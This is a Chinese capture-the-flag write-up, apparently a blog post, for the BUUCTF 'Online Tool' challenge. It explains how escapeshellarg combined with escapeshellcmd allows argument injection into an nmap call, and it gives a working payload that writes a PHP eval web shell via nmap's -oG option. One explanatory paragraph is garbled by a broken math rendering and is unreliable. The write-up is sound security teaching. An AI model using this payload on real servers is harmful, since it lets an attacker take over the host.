[BUUCTF 2018]Online Tool

打开环境,直接给出了源码:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

分析代码,先看第一段:

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

S E R V E R 是 一 个 包 含 了 诸 如 头 信 息 ( h e a d e r ) 、 路 径 ( p a t h ) 、 以 及 脚 本 位 置 ( s c r i p t l o c a t i o n s ) 等 等 信 息 的 数 组 。 这 个 数 组 中 的 项 目 由 W e b 服 务 器 创 建 。 在 P H P 中 用 _SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。在PHP 中用 SERVER(header)(path)(scriptlocations)WebPHP_SERVER[‘REMOTE_ADDR’]取得客户端的 IP地址,但如果客户端是使用代理服务器来访问,那取到的就是代理服务器的 IP 地址,而不是真正的客户端 IP 地址。要想透过代理服务器取得客户端的真实 IP 地址,就要使用KaTeX parse error: Double subscript at position 16: _SERVER['HTTP_X_̲FORWARDED_FOR']…_SERVER[“HTTP_X_FORWARDED_FOR”]取到的值将是空的,则这段代码的目的即为获取真实的IP。

再接着看:

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

若未进行GET方式给host传值,就高亮显示源码,传值后,经过escapeshellarg和escapeshellcmd函数处理。
escapeshellarg,会在字符串中所有的单引号(包括成对存在闭合的)前添加一个’’ ,若已经用\转义,则会用并且用’’ 替换\,最后将整个变量用单引号包裹。 即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。例如:传入的参数是:172.17.0.2’ -v -d a=1经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’。
escapeshellcmd,会将字符串中未被转义的双引号或单引号转义(成对存在闭合的双引号或单引号除外)若已被转义,则用\"或\‘替"或’,如: ‘172.17.0.2’’’ -v -d a=1’经过escapeshellcmd函数处理后变成 ‘172.17.0.2’\’’ -v -d a=1’

然后将glzjin与获取的IP连接进行MD5加密,输出you are in sandbox+MD5加密后的值, mkdir() 在已经存在的目录中创建创建文件夹且 只能创建一层目录, chdir函数用于改变当前工作目录。调用参数是指向目录的指针,调用进程需要有搜索整个目录的权限。每个进程都具有一个当前工作目录。在解析相对目录引用时,该目录是搜索路径的开始之处。如果调用进程更改了目录,则它只对该进程有效,而不能影响调用它的那个进程。在退出程序时,shell还会返回开始时的那个工作目录。

namp可以用来扫描主机和端口,利用namp的参数 -oG 可以将扫描结果输出到指定文件,也就是可以写入文件。 那就可以指定一个PHP文件。访问它就能解析php标签里的内容。就可以来写一句话木马:<?php @eval($_POST['post']) ?>

构造payload:url?host=' <?php eval($_POST["a"]);?> -oG 1.php '
显示: you are in sandbox 50cdb2fd022081558b087538860de274Starting Nmap 7.70 ( https://nmap.org ) at 2021-05-28 11:53 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 0.33 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 0.33 seconds

用工具链接到:url/ 50cdb2fd022081558b087538860de274/1.php。
在根目录就能找到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值